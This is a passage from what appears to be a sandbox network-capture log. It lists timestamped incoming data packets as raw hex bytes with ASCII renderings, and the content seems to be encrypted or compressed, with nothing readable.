2021-09-24 19:53:40 UTC	87	IN	Data Raw: e7 42 0b e3 6e c1 ce 23 b6 88 e1 d6 76 c2 c6 f1 24 b6 84 51 c9 35 5f 9c a4 c6 d7 d2 0b 9a bf a1 4d ad 01 67 48 81 3b de 45 e5 39 94 29 54 fc cc 2f 04 f4 ce be 96 6b 28 12 98 d7 7e 01 27 75 2e 66 8d 97 54 12 e8 7b d8 5e 0b e7 2d 88 84 83 19 26 71 23 14 ea 4d 4b e7 ad 5d 2e 51 ae fa c8 ea 23 54 b9 4d ba d4 aa 77 68 d0 4d 9f 7a 19 e7 b3 61 8d 6c b2 13 35 6f 45 38 69 43 dd 43 e0 ce f7 0a 98 32 3d ee 0c d0 f0 e5 13 3a 31 58 1d d8 b1 f1 1b 12 4a 3b a8 3d 0e 04 5f d3 d3 13 83 0f bb 8a 7a b1 43 cf 48 e4 d7 2b 3d 3e ad bb 03 9d 9c f6 3f 24 b4 fa c2 20 a7 2d e8 2c 0d 35 ab f0 61 99 cc 01 7b f3 71 e7 b3 01 52 a4 69 2f 5d 1f 00 c5 16 16 c1 09 ab 76 db 61 dc 73 7f e6 ae 7a 10 39 02 ba 0b b2 24 02 11 69 ae 2f 0e c6 77 74 02 92 7a a1 2b 78 71 94 4c f6 b1 90 7b 3a b0 fb Data Ascii: Bn#v$Q5_MgH;E9)T/k(~'u.fT{^-&q#MK].Q#TMwhMzal5oE8iCC2=:1XJ;=_zCH+=>?$ -,5a{qRi/]vasz9$i/wtz+xqL{:
2021-09-24 19:53:40 UTC	88	IN	Data Raw: dc 4e 30 ab 28 8a 43 fe 57 ef 6b 81 96 5c b4 9a 0b fc e8 38 a2 55 4a 6b 0c cd 7b ed 4e 8e 50 71 67 31 96 93 17 08 d2 29 e3 63 98 5d 2a 09 91 25 f6 04 87 2d 5a d6 93 f4 9e a3 b8 3b d1 9a 76 c7 40 89 ad 51 fd 60 c2 20 8a 66 43 96 cd cf c5 c9 b6 8e 2e 84 85 f6 a4 a5 c9 47 2b 97 c0 0a 14 35 c2 6d 02 e6 ef 4d 48 08 33 f5 a9 e2 49 c0 e6 fd 18 4e 9d d8 a3 7d 61 ab f6 ed 58 e9 0d 75 cc 0a f5 19 fd 48 18 3c 5e 0c d2 9f f2 d4 46 ea d8 97 4f b5 25 90 5d e5 33 fb d2 53 87 8c 24 6a 06 3f e9 33 31 8f 0e f4 04 03 fb 07 76 45 f4 fa d4 9d a4 0a c9 48 3e 77 09 58 67 e1 77 c8 9f f5 6e 7d 1c 5c 41 e2 e6 2a c7 0c 26 0a a3 4a cd 36 4c db f7 0e 91 88 0e a8 3f 55 12 25 ae 7a c5 af e8 07 23 7e 6d 12 01 ce a0 7b 1a b5 a2 a9 b9 43 ee 67 a0 ed 37 7d 48 1f 44 98 41 ae 25 8d 1c 87 82 Data Ascii: N0(CWk\8UJk{NPqg1)c]%-Z;v@Q` fC.G+5mMH3IN}aXuH<^FO%]3S$j?31vEH>wXgwn}\A&J6L?U%z#~m{Cg7}HDA%
2021-09-24 19:53:40 UTC	89	IN	Data Raw: 06 03 cd 56 b3 3d 08 3b 19 d2 ff 1b b3 37 ba 8d 66 58 ce dc 4a f3 dd 03 09 27 53 b0 07 c5 b7 f4 1e a8 37 80 09 26 2b 16 66 9b 26 26 a2 e1 2a 51 cc 74 7f fa 60 e9 65 8e 69 b2 62 06 04 18 8b 9b e8 17 ec 15 a4 73 2c ec dc 73 7a 40 a1 48 0d 2a 21 89 0d a5 d0 14 b1 54 b6 24 0f e9 5d 8b 03 b4 56 ef 01 62 70 85 42 c4 15 91 57 2a db 7b 08 53 ac 4f e0 d3 57 cd ac 46 bf b9 d6 30 7a df 46 cd 88 14 e2 d0 7d 3b 94 92 8e e4 30 53 a3 1e 1b 85 9b a9 3c 5e ce 9a c1 be 3a ad 66 71 eb 7c c6 15 53 a3 67 46 da 99 16 5d 3f d5 e6 42 db 93 23 29 80 42 aa 24 e7 bc c2 b4 9d bf 71 c9 0e 9d 08 4c 1a ab 28 53 de 40 fb 77 cc 5c cb cd 5d bf 2d 85 8f 5b eb fa c3 13 5f 5f 62 b3 b1 45 ed 83 04 e4 e0 7f 4b d4 a9 37 13 25 88 86 c8 5d eb 89 68 16 39 29 6f f0 fd 3e 9e 8f 22 a0 ee 8f 9e c2 cc Data Ascii: V=;7fXJ'S7&+f&&Qt`eibs,sz@H!T$]VbpBW*{SOWF0zF};0S<^:fq\|SgF]?B#)B$qL(S@w\]-[__bEK7%]h9)o>"
2021-09-24 19:53:40 UTC	91	IN	Data Raw: 2d c9 67 8a b3 34 ec 0e 51 8c f2 34 7a 17 0b e0 ed cc 70 30 eb 16 06 ef 16 0b 95 e5 fd 5e 29 37 41 c1 1e d7 78 22 71 74 e5 15 f9 0c e3 4a 43 67 29 6f e7 f7 2f 7e 54 2b 6b 81 88 84 34 46 f9 3b 60 15 83 26 8a 4c 6b 1a 36 a2 15 8b ba 3e 1e 04 2d 60 03 1d d7 3a 68 12 ae b7 c9 89 50 e1 72 a2 f6 0f 84 22 1d 41 84 55 ae 25 81 05 9a e0 86 40 30 54 42 68 ef d2 cf ae 5d a9 c4 44 9c 39 77 06 07 70 d7 9d b5 b6 e4 5b a0 f9 51 1b 20 84 1a 89 d0 04 8a 80 37 8e 5a 48 e6 eb e6 30 f2 44 ef 05 9d ac 71 ac 74 1d a5 47 e9 26 d5 d8 e2 af 19 d6 94 cb 2f e5 e6 21 2d 53 dd 2e 98 bb 1d 08 a5 ad f1 e5 40 51 e3 7d fb db f5 09 a2 e1 d6 71 bf 0d e0 32 b9 b9 42 e1 68 48 62 af f9 c4 d9 06 a2 29 b2 b3 ac 2f 66 2c b4 39 d9 57 05 52 cb 14 7d fe ed e4 41 8d 9d b6 87 67 4e b8 ea 94 76 29 43 Data Ascii: -g4Q4zp0^)7Ax"qtJCg)o/~T+k4F;`&Lk6>-`:hPr"AU%@0TBh]D9wp[Q 7ZH0DqtG&/!-S.@Q}q2BhHb)/f,9WR}AgNv)C
2021-09-24 19:53:40 UTC	92	IN	Data Raw: a3 c5 4e e4 02 f9 b8 0c 1d 6e 0a 31 76 df ef 51 00 4b 45 c9 9c 77 9e 35 d5 f3 4c 5b 47 22 05 86 47 89 21 fc 41 c8 b4 8c 0d 6e dd e1 8a 37 5a 33 76 3e 5a d6 51 ef fd 64 7f 00 cd 71 b3 26 ba 83 5d f8 ef c9 15 a5 41 44 4e a8 7a ec 85 00 ae 41 6f b5 d5 9a 35 38 8b 88 97 cc 5d f3 64 63 3a 20 2b 79 cd 1f 20 b8 93 21 b7 25 9c 56 b1 e6 3b 81 d5 9c a4 00 b8 a3 7c 73 ff 5c da 95 55 32 53 de 6b b2 08 d7 96 ff 78 14 e0 e4 77 db fd 22 d3 a2 f8 2e d5 84 66 a6 4a a0 9e bf 2e 5b dd f9 6a 0c 32 ba 6d e3 7e cc 30 88 66 e8 2a 2f db 0d c3 e2 87 fd 4e 0c 9c 96 1e 42 36 72 63 79 4c c7 b6 9f d7 c6 75 72 a9 39 8a 4d f1 b8 e3 c8 a2 87 5a a1 37 d5 fa f7 37 06 30 5e 7b 06 dc 27 c7 36 84 13 68 99 ce 6d 86 15 04 04 b7 c3 7c 89 a1 50 f5 9a 34 fb 04 82 b5 4e a0 b2 e4 8d a3 a9 22 a8 ba Data Ascii: Nn1vQKEw5L[G"G!An7Z3v>ZQdq&]ADNzAo58]dc: +y !%V;\|s\U2Skxw".fJ.[j2m~0f*/NB6rcyLur9MZ770^{'6hm\|P4N"
2021-09-24 19:53:40 UTC	93	IN	Data Raw: 0f 97 88 ad 9b 7c 4a 9d 77 fa 30 f6 68 a1 14 9b a5 7d b8 5c 46 a0 47 ef 95 59 df e2 a0 18 c2 80 c5 07 46 e7 17 25 05 33 2f 98 bb 1b 2c e3 87 4f ed 6a 57 f5 e3 cc d9 f5 3a b6 f5 c2 5c 1c 0d f1 2e 9a c8 59 e1 65 4e 91 da e7 c6 c1 0f a0 55 7d 4d ad 07 4c 4e bf 39 d8 5c f1 78 a0 07 50 ed ca 13 6b 20 ca b4 81 7b bd cd eb 94 7d 15 39 49 41 c7 8d 9d 76 72 76 7b d2 4c 75 6f 38 a0 3c 8a 1a 53 59 ac 13 e0 52 2e 99 ca 76 04 f2 a4 d2 82 c0 79 5e af 69 af de dd 92 63 d2 48 0f 3d ed e6 b3 61 12 59 a3 19 22 52 46 39 7f cd c4 67 67 95 f7 0c b4 4b ac e8 27 d9 f2 e4 06 eb ae 15 0c d3 a1 ef 29 3d 39 82 57 2c 08 15 6b d3 d3 19 a9 47 66 8a 70 a2 cd 8b 94 e4 d6 07 80 88 ba 6b b1 d4 92 f4 4e 96 35 fb c6 0a 30 03 ee 2b 1d 22 b3 fc 6e 60 cc 01 7d f8 1b 38 65 8e 7c 8c 1c 2d 5f 1e Data Ascii: \|Jw0h}\FGYF%3/,OjW:\.YeNU}MLN9\xPk {}9IAvrv{Luo8<SYR.vy^icH=aY"RF9ggK')=9W,kGfpkN50+"n`}8e\|-_
2021-09-24 19:53:40 UTC	95	IN	Data Raw: 98 d7 95 6a ae 39 a6 b2 b9 04 7e d6 e4 51 a5 32 ab 6d d4 7a 32 31 ae 02 8d 39 2a 5f 9c 04 e5 b0 cf 5e 06 9a e8 78 5f 39 86 44 5b 4e c0 ae f8 1a d6 66 72 f8 26 84 14 d7 4f e6 c4 13 97 5c b6 b5 ed f8 ec 23 45 6e 56 42 83 c6 d9 cc 36 de 3a be 70 ab 81 8a 05 1f 14 f7 d8 73 87 65 3e b7 93 25 f8 06 85 3e 52 b0 96 45 9e a9 a9 22 b2 b4 7b d0 9c ce e2 52 fd 60 d7 0c 96 27 41 9c eb e9 81 da a6 92 17 c3 e8 19 ae b4 c6 07 0d 0a e7 0e 52 1b b0 a4 22 5d ea fa 27 d8 19 f1 ab d5 55 96 cd 89 b2 40 a3 dd dc 7a 70 ac 6a d5 49 f8 1a 3d 41 09 fd 4c 3a fb 1c a2 5c 13 d4 5b fe e3 38 89 cb 85 7b 33 c9 7e b3 e1 1b ba 15 52 90 8c 35 ad 78 09 8e c9 c4 74 1e 92 07 03 f1 28 1f 8d f0 bc fc 97 24 bb 69 09 c4 77 5d 73 61 e6 1b a6 c9 de 4b 67 7e 39 6f f1 89 cf ef 4b 2e 5b a1 73 94 23 9a Data Ascii: j9~Q2mz219*_^x_9D[Nfr&O\#EnVB6:pse>%>RE"{R`'AR"]'U@zpjI=AL:\[8{3~R5xt($iw]saKg~9oK.[s#
2021-09-24 19:53:40 UTC	96	IN	Data Raw: 5a ad 60 c3 36 a9 a0 67 d0 4e 66 f3 98 e6 b7 65 21 53 f2 12 34 f1 62 3a 6e c6 b1 a8 c8 94 f3 08 e1 2e bd ef 06 ab 00 ef 11 39 bf 65 fe d8 b0 e4 15 7a 89 7c a8 37 0d 5f 94 d1 d3 13 d6 d8 ba 8a 74 a4 b4 14 48 e4 d2 01 61 70 ac b1 21 c5 e7 15 35 4b 31 f9 b9 c1 2b 12 ec 3a 0e 5d 45 f2 1a 56 42 b6 10 8e 62 e1 6f 8c 03 40 69 2d 5b 1a f7 64 16 16 c4 0e a5 0a b0 27 dc 77 f0 79 79 0e 12 33 20 8b 71 51 2e 15 99 42 50 29 b8 ef 44 73 71 ed 50 fb 21 17 0d 87 45 d4 e9 eb 9f 30 df 7d 67 66 aa f8 e5 d0 de 94 d9 44 bd c8 69 46 78 db c2 78 ad 71 1e fa 66 34 be 95 98 09 01 7c a1 e9 11 85 9c 78 c2 5f f3 8e f9 ba 29 dc 65 0a 20 7c d7 17 4f 20 b3 47 f6 94 6f f6 dc d5 e2 42 69 cd 23 29 86 4e 97 34 e1 52 d3 b2 82 11 8f c8 33 80 19 5c 5f 94 28 53 da 5f fd 60 d5 57 24 ca 6d 47 38 Data Ascii: Z`6gNfe!S4b:n.9ez\|7_tHap!5K1+:]EVBbo@i-[d'wyy3 qQ.BP)DsqP!E0}gfDiFxxqf4\|x_)e \|O GoBi#)N4R3\_(S_`W$mG8
2021-09-24 19:53:40 UTC	97	IN	Data Raw: 8c 05 e0 9f 6d 27 8c 33 df ac e2 7b c0 e6 fd ac c5 92 6c bc 5d 58 91 79 c4 52 e4 27 36 01 0a ff c3 2b f8 21 38 4e 11 c5 49 e1 d9 77 e7 c2 ae 71 2e 4d 6f a2 f5 df ee 2c 57 81 9d 28 79 01 7c 85 c8 ce 74 34 eb 78 08 fa 05 09 81 87 85 d2 9e 2a e6 de 09 c4 73 0b 26 f6 e2 04 fc e0 fa 65 64 72 2d 6a 9d f6 21 ef 4f 26 1c c3 1f 94 35 4c d5 c5 5b 17 9e 61 13 4d 6b 16 27 8c 84 86 ad e2 27 21 3f 43 14 09 89 23 78 1a b9 9b a6 af 52 f2 44 b0 fe 41 56 26 1d 89 eb 7f bd 31 07 17 8a e8 ed 75 84 55 48 79 d6 44 1b bd 46 38 c0 54 8e b3 e0 39 a4 8e 28 ef 10 b9 c1 72 17 ed 50 11 37 82 4c a5 d1 04 84 d0 80 9f aa 45 ed 81 d5 37 4a 4e f9 09 9b a3 2e ba 42 9c 84 67 6a 3b 39 de f5 c4 78 dc bf d5 29 f2 83 1d 27 3a 79 23 90 ac 3b c2 89 bb f0 ef 6e 56 e5 f0 cc ce 23 30 a5 e8 e7 b9 95 Data Ascii: m'3{l]XyR'6+!8NIwq.Mo,W(y\|t4x*s&edr-j!O&5L[aMk''!?C#xRDAV&1uUHyDF8T9(rP7LE7JN.Bgj;9x)':y#;nV#0
2021-09-24 19:53:40 UTC	98	IN	Data Raw: ba 50 be e2 d0 d4 2b 3d 15 3c 53 74 1f c3 d9 d7 1e 90 d5 bb 4b 3d 90 83 00 7d 5d a6 c9 69 94 42 42 dd 91 34 f6 0b 74 2e 71 ae a4 f4 e3 a4 a8 33 a6 ba 7d d4 4e a1 fb 57 e6 94 d2 08 fc 3c 4b 8a d4 e3 82 da b2 93 f8 cd ab f5 b6 a7 c8 56 37 1c f1 f4 15 1b be a3 15 d5 0f e3 34 88 32 e4 ab d0 fb c3 ca f2 91 ef 82 a1 b6 78 61 a2 6f 3a 59 c5 0c 19 12 0e f5 0c 2f e0 02 c6 4e 2d c7 62 e4 e1 3e 18 36 7a 78 0a d8 6f a2 e7 05 ee 04 0b 81 9d 22 a9 17 01 9e cb a1 f2 34 fd 0f 2e f4 06 1a ad ff d2 fe 9c 20 9d a1 8b c6 77 03 22 16 59 05 f6 9b fe 63 66 0b 21 7f e0 e2 27 ec 36 36 0b a9 66 82 30 31 c2 ee 61 11 8e 61 75 4d 6b 16 09 a6 03 ae a9 c5 0b 0c 53 a7 13 0b e0 98 fd 18 bf bb dc af 41 d1 72 b3 c9 27 56 26 ce 47 eb 6e ae 5e 95 02 8b ec fe 66 3a 7c 94 7d fe c3 6a 3e 4e b8 Data Ascii: P+=<StK=}]iBB4t.q3}NW<KV742xao:Y/N-b>6zxo"4. w"Ycf!'66f01aauMkSAr'V&Gn^f:\|}j>N
2021-09-24 19:53:40 UTC	99	IN	Data Raw: ab 36 a5 9f 63 a3 cf e1 4d fb db fd 0f 13 a1 b9 3a c3 a2 02 cb b4 ca e4 cc 35 2e 12 f9 29 1a d8 a3 de 19 45 df 04 7f eb 65 fe 72 70 79 88 6b 06 5a 20 6f 7e e9 e9 ea 18 a7 62 67 22 dc 76 7c ce 16 a2 10 33 3b 8b 71 a2 2f 15 99 7b a5 07 ce ea 44 73 71 1b 50 fb 21 02 08 fa 47 de e1 9c 6d 3a e7 ac 72 98 ac 4d 9f c0 d9 e7 a8 40 95 d3 07 30 70 c8 d8 6b aa 62 d6 aa 2d 31 96 ff d8 dd 30 7f a1 0b 6b 95 9d b2 c6 59 fc 4e c2 37 13 0e 6e 2a 20 74 c6 11 0f 3a b3 47 cc 65 6c 9e 38 d7 99 56 40 b9 27 2f 9f 5b 4c 0f 6c 50 c2 be 8e 0a 73 b2 0f 8a 1b 4c 24 6c 24 85 f6 51 eb 73 d9 44 3b ce 0a a9 38 af 94 51 e7 ee 15 2a 4a 41 68 47 a3 6c e4 fe 01 a5 5e 7b 4d cb a2 ea 28 30 89 97 c6 2c f1 73 6b 41 21 20 66 c5 e7 3e 8c 4a 0e b1 fe 8b 8a 52 de 31 83 af 81 ba 0d af af 63 7e 23 6c Data Ascii: 6cM:5.)EerpykZ o~bg"v\|3;q/{DsqP!Gm:rM@0pkb-10kYN7n* t:Gel8V@'/[LlPsL$l$QsD;8Q*JAhGl^{M(0,skA! f>JR1c~#l
2021-09-24 19:53:40 UTC	100	IN	Data Raw: 73 78 cb 8e c9 c8 5c 28 ec 01 12 fe 7e 14 82 f4 fe d8 8f 25 e0 c8 09 c4 73 18 5d 1e c6 05 f6 99 9a a0 65 76 29 58 f2 e0 08 78 49 24 00 84 d8 5b 3a 5e d7 11 77 32 89 0e b5 23 3c 10 25 ae d8 86 fd 87 c5 0a 3c 69 03 0f 89 23 78 1a b9 b3 f6 d4 5f e0 74 b7 d6 1e 56 26 17 4e e9 2f d7 28 86 03 8f c0 71 57 31 5e 4a 7b ae be 14 bc 4c bc d7 05 f5 a5 c1 39 a1 a6 ea 63 6b bf 90 ad bc d1 66 11 33 9e 24 ba f8 3c 80 5e 3d 56 6f 41 ce 9b fa 30 f8 68 e9 0c b5 8d 71 ac 7e 98 8c 76 e9 83 de f4 e4 a8 31 ef 94 d1 25 39 f0 3d 28 07 af 2e b0 b1 0a 22 f7 95 f1 bd e6 51 ed 6e cb d9 f5 3b a2 cc d6 df 67 0d ff 3e b2 92 58 e3 6f 72 9c 17 33 c6 dc 0d a2 2e a4 5e 9d 07 64 fd bf 39 de 92 fb 53 f6 00 45 f8 fe ad 43 f6 ce b4 96 69 28 34 ea b8 76 19 a0 76 69 64 8c 97 65 49 ee 7b c3 42 79 Data Ascii: sx\(~%s]ev)XxI$[:^w2#<%<i#x_tV&N/(qW1^J{L9ckf3$<^=VoA0hq~v1%9=(."Qn;g>Xor3.^d9SECi(4vvideI{By
2021-09-24 19:53:40 UTC	102	IN	Data Raw: 7b 48 a6 e6 04 d4 44 da 91 7b 95 50 7c e2 46 4b a6 36 3a 86 51 8b 21 f8 48 3c b5 b1 1c 73 b2 11 8a 1b 4c 02 73 a9 53 de 68 73 71 d3 5d 23 d4 1e 10 39 af 9a 48 e3 ed c5 02 4a 46 77 54 4e 68 ca 92 13 df 50 7e 4b d0 a0 14 99 23 88 9d da 5a 8d de 69 3a 3b 3e 7c d2 e7 21 85 9a 39 b3 01 8a ac 1e cf 40 8f d5 91 bf 0f a8 d2 67 63 f5 40 4b 46 78 37 43 fd e8 a3 02 dd 91 ef 08 b0 1e e5 51 c2 ff 3d ca ac fa 22 ca 84 92 b9 98 bd b0 c2 0b 6b c2 f4 7a 7d 12 aa 67 f8 43 a8 33 a4 67 f6 21 45 fc ba 15 e4 87 f9 4e 00 9c 96 12 42 2e 72 63 79 5c d3 de 99 c9 d6 62 6e 81 b1 82 52 f1 50 fa 8b 01 96 5c bc fe de ef ee 3c 04 3c 41 65 f2 c6 f5 da 18 f7 25 bb 67 35 91 e1 1f 0f 04 a2 e1 fa 9a 5f 5b cf 89 4a 5b 15 8a 25 42 b5 be f0 9e b8 af 2c a8 5b 75 eb 45 a2 91 76 fc 6a d7 1d 13 25 Data Ascii: {HD{P\|FK6:Q!H<sLsShsq]#9HJFwTNhP~K#Zi:;>\|!9@gc@KFx7CQ="kz}gC3g!ENB.rcy\bnRP\<<Ae%g5_[J[%B,[uEvj%
2021-09-24 19:53:40 UTC	103	IN	Data Raw: 45 ef 01 8b 9c eb ae 74 9a b2 5d 86 2a d4 d8 e8 bf 10 c5 90 d1 3e e1 ff e9 2e 01 a0 2d e3 bf 0b 20 f3 c0 6c ed 6a 5b e9 77 d8 dd f5 2a a6 fe c3 8a be 21 fb 5a a7 93 59 e5 63 40 8a bd d1 c6 d0 09 bd 24 5a 4c 81 2a 66 40 b1 38 de 4b f9 28 eb 17 56 f8 a9 8d 41 f6 c4 de 85 16 21 cb eb 90 aa 29 b1 5f 69 6e 9b 83 13 f3 ea 7b d8 59 6f 70 28 88 93 8c 01 ab 4e 0d 0c e2 29 21 8c de 66 33 7d ce fa 14 ea 23 54 b9 7d d1 7a a9 a0 69 ce 59 1f 15 89 e2 ac 76 ff 52 9e 04 36 07 47 3b 6e c3 db 67 52 96 f7 00 84 47 d0 46 0c d6 e9 f0 03 2e b9 1e 0c dc ac 1e 16 39 d1 7f d3 33 0e 2c e3 cc fe 31 32 3e ba 80 66 be a0 59 48 e4 dc 1e 1d 3b ad a0 2f dd 62 f7 19 61 37 80 cc 27 2b 16 f2 a1 27 26 a2 f3 17 5b da 1e 2f 66 69 f6 7a c5 e4 ad 71 31 c3 11 95 9f 8a 1f d6 02 c8 d8 57 27 d6 68 Data Ascii: Et]>.- lj[w!ZYc@$ZL*f@8K(VA!)_in{Yop(N)!f3}#T}ziYvR6G;ngRGF.93,12>fYH;/ba7'+'&[/fizq1W'h
2021-09-24 19:53:40 UTC	104	IN	Data Raw: ee 1d 67 4f 8b 66 fc 6f 2d 23 b7 65 e0 2a 22 4a b7 eb ef b4 e0 5a 10 a2 67 e9 a2 c6 93 6c 46 43 d1 b4 9f de 28 67 54 aa 3f 93 5a fb 57 ea fb 8c 68 5d 9a e3 ed f9 d0 86 e9 c5 a1 40 0c d4 e9 c5 1a f0 2b ba 67 d1 92 9a 17 18 0f 8d d2 63 9f 48 af d8 bd 27 ea 1e 8a 28 4b 5b ac da 9c be a2 33 a5 bd 8a c6 66 a3 c1 51 d6 89 dc 25 d1 ba 43 96 cd 8b a1 cb b6 84 06 cc 87 f6 ee ef e4 c7 26 18 e3 b3 1b 36 91 00 00 e6 e1 e1 45 e6 52 fa ae e2 a4 c0 e6 fd a5 54 fb d8 d2 77 71 8e db c6 58 e3 10 1e 63 60 95 12 2a d7 a8 3a 4f 0b da 5c 83 b3 37 e8 c8 ad d5 22 d8 65 82 48 32 ec 04 9a 9e 84 40 11 77 b9 a5 da fe 77 36 d8 04 03 fb e6 0d 83 e5 ec c3 96 18 8e d3 08 c4 77 18 50 7a e9 fa f7 b1 fe 4c 1d 76 2f 74 f3 e3 3f e3 58 2c 0a b8 6a 9c ca 4d fd e2 62 0a 9c 6a b1 43 34 94 36 a0 Data Ascii: gOfo-#e"JZglFC(gT?ZWh]@+gcH'(K[3fQ%C&6ERTwqXc`:O\7"eH2@ww6wPzLv/t?X,jMbjC46
2021-09-24 19:53:40 UTC	105	IN	Data Raw: 98 ec ce 44 00 53 b6 0c 2d 6f 41 3a 7f cf d3 44 36 95 db 06 9b 42 a7 ab c8 28 1c 10 0e 31 ae 16 1d c9 b8 ff 06 eb c7 51 bc 38 0c 24 f8 cf 05 31 90 3d ba 80 0d bb ce f0 4c fb c4 10 06 3f bc b9 34 d4 62 f7 19 44 36 f3 dc f0 03 99 ea 2c 06 35 a4 ed 0e 41 c4 01 6e f2 7e 1f 64 a2 77 a7 61 33 89 30 07 81 16 1c d3 1c b8 78 44 2f dc 62 76 d1 06 84 11 1f 3b 8c 71 af 2f 15 99 43 c0 6f 51 10 bb 8a 1d 89 41 f3 2b 69 73 9f bb df c7 95 50 2d c4 6a 7b 98 bd 47 fb ca 26 e6 80 4e b5 d5 d0 3c 65 c0 db 72 ba 1d fe e5 7d ce 95 b9 91 12 20 78 90 20 0f 99 8f ba c2 4e ea 8f 14 bd 3d 0d 7c 19 28 7c d7 19 4d d2 4c 6a d0 9c 7a cd 2f 2b 1d b9 5f aa 2b 29 91 59 81 d9 e6 7e c9 b7 95 2f fa cb 1f 81 10 54 31 7b 28 42 d6 5f e3 8d d2 7b 3a cf 79 a6 33 79 b8 dc fa fe c9 0f 44 4a 7b 45 b0 Data Ascii: DS-oA:D6B(1Q8$1=L?4bD6,5An~dwa30xD/bv;q/CoQA+isP-j{G&N<er} x N=\|(\|MLjz/+_+)Y~/T1{(B_{:y3yDJ{E
2021-09-24 19:53:40 UTC	107	IN	Data Raw: c2 fc f7 ba 5e 8a 82 b0 78 58 a6 79 c4 50 e9 0f 1f 17 01 de 06 2b f8 1c c6 4e 2d c7 51 ea d9 50 f1 37 84 5d 22 cf 64 a2 f3 2d 12 05 6c 83 b6 20 50 f4 03 f4 d3 cf 70 32 d7 7f 01 d3 12 0d 83 fe f8 cf 84 08 20 d2 08 ce 5f e9 5c 65 e4 2c 48 9d f5 6e 19 51 2e 7e e4 cc 20 fc 7b 20 0a 60 63 85 34 ab d1 ef 70 03 9a 0a 96 f7 6a 10 25 a4 15 80 b2 e3 f3 0a 10 7e 10 70 ce ea 79 1e b9 de f5 ae 52 eb 78 ac f2 34 52 26 0c 43 f4 72 52 24 ab 17 82 c0 0a 51 31 52 27 e4 fe c5 13 87 c1 b9 d5 55 91 b9 d3 3d a5 9f 2c 7a 95 b8 ed 6b bf 27 53 11 35 bc 66 b0 d0 0e a0 05 14 88 70 3b b9 a8 fa 3a f9 5d fc 01 9d a5 75 b0 8a 91 88 49 c9 83 d0 d8 e2 2d 32 d6 94 d0 25 f8 f4 13 2f 3c ab 30 97 4f 0b 0c f8 ad 8a c7 6b 51 e7 01 30 d9 f5 31 bd f1 c5 70 bf 1c f5 33 4c 93 75 e2 77 4c 98 ae c4 Data Ascii: ^xXyP+N-QP7]"d-l Pp2 _\e,HnQ.~ { `c4pj%~pyRx4R&CrR$Q1R'U=,zk'S5fp;:]uI-2%/<0OkQ01p3LuwL
2021-09-24 19:53:40 UTC	108	IN	Data Raw: 6d 67 8c 84 ec e4 d0 d2 cf f6 46 bd c8 0c ee 6a fe e0 4d ba 0c fc f7 70 3a bc ad 98 1a 3b a1 a1 0f 3a 85 9c b2 83 43 e2 98 ea bc 11 0e 64 0a 20 7c 35 10 50 2c be 47 da 9b 7d 8d 3f d5 f8 46 41 b8 38 19 85 51 1e 26 e7 52 28 b4 9d 16 59 3a 1b 8b 1d 42 20 08 0f 52 de 44 c2 5c d3 57 3f e1 7d bb 42 88 91 57 fc d6 f3 02 5b 4a 4e 4f cb 4e e7 85 15 8c aa 7b 4b d2 9e 18 00 21 82 bf fd 42 e2 7d 44 5d 42 93 64 c1 eb 2a 96 f3 c2 a1 ff 8d 8c 3b c5 39 fa f3 90 bb 09 83 5d 78 62 f3 6c 00 94 79 3d 2a 66 70 a1 08 09 c6 d0 4f 2e 1e e5 51 d0 ec 06 39 a8 eb 22 d7 ee 4b b9 b4 a5 9a 4d 01 6a c4 d8 5d 06 32 a1 08 4f 69 32 3b 7a 61 c8 0c 2a 55 b0 3d d6 98 eb 57 d8 9c af 2c 5d 39 86 bc 5f 4c fd a3 90 a7 81 66 78 a3 f4 82 29 dc 47 e2 e0 80 62 58 b6 e7 ee d8 e8 3c 1f 12 6f 6a 0c cd Data Ascii: mgFjMp:;:Cd \|5P,G}?FA8Q&R(Y:B RD\W?}BW[JNON{K!B}D]Bd;9]xbly=fpO.Q9"KMj]2Oi2;za*U=W,]9_Lfx)GbX<oj
2021-09-24 19:53:40 UTC	109	IN	Data Raw: ff 64 52 31 54 49 6a f0 d4 17 ab 5d b1 77 44 80 a4 cf 28 aa 9a 3c 75 e6 96 c1 73 96 ea 41 00 23 82 25 2d c1 14 97 76 90 88 70 42 c0 bb ea 26 62 68 f0 14 92 a2 eb 84 65 90 a4 4d 39 91 d4 d8 f9 88 0d d6 94 db 07 d1 e6 17 25 59 bd 2f 98 aa 19 29 e8 cf fb fe 63 df 54 79 1d 54 de 3b a2 e0 c5 73 ae 04 e0 23 a4 fd ff e3 6f 55 8d a9 c4 cf 4f ba a4 9a 38 51 21 3c 64 3b be 35 c1 5f fd 4c e8 49 80 70 f9 07 43 f7 c8 ae e4 e1 0f ca eb 95 74 29 1e 5c 69 6e a5 2a 7e 5a e0 70 fa fe 66 63 26 9b 88 a0 41 54 4f 2b 17 8f ca 2f 8d d4 71 27 4f b5 d9 06 5f f5 49 75 74 68 5e 82 a0 63 d3 59 16 04 9f f0 a2 6a 17 4d 9a 04 35 7c 43 2b 65 d1 dd 42 d6 85 fc 84 25 75 a8 ee 0c dc f2 e2 9f 8a 31 21 1d d8 b1 f3 1b 2d 90 7c a8 3d 08 3d eb c5 fb af ab 3c b0 b3 d1 a6 cf f0 59 ee c2 2b 0e 3a Data Ascii: dR1TIj]wD(<usA#%-vpB&bheM9%Y/)cTyT;s#oUO8Q!<d;5_LIpCt)\in*~Zpfc&ATO+/q'O_Iuth^cYjM5\|C+eB%u1!-\|==<Y+:
2021-09-24 19:53:40 UTC	111	IN	Data Raw: de 3e a9 de 94 bb 0b a1 81 44 62 f5 4e fa 94 7f 1d 44 c9 72 a1 00 d7 9f f5 0a 9c 1e e9 5b dd eb 2e cc ac eb 24 40 00 6c ad ae a1 b2 b8 1e 5a ca f0 c3 06 32 ab 88 fc 6b 23 19 af 68 e0 3d 3e 7d 78 17 ee 92 c3 4c 06 9c 8d 19 23 aa 8c 62 5f 47 d8 b1 bf c4 d3 66 7e be a5 87 52 fb 47 f1 e2 b9 90 4a 9e ec c3 fc ee 9e 04 3c 4a 7e 18 ef 7a c6 1a 86 03 ab 67 31 98 91 01 7a 6f a6 c9 62 f7 9e 51 d9 9b 36 f5 3e ba 3e 5a ca 6f f6 9e a3 81 22 a2 a5 7e d4 4e a9 fb 57 e9 42 dd 21 f9 23 57 1b c0 e7 82 ca a2 90 12 e4 24 f6 ae be e4 cd 26 18 e3 22 88 37 b9 aa 0e f7 ec 95 e0 8c 32 ff 82 0d db d4 f7 f0 cf 64 99 b2 b3 54 7c b7 7e b1 63 e9 0f 0f 6e 5d f5 1d 21 23 03 32 91 14 e0 61 d6 d9 57 ed da 80 59 2f dd 6f a4 fe 1d d4 04 40 8b 43 22 7d 3d 01 8f c8 d2 70 36 ff 05 3c fb 4f 84 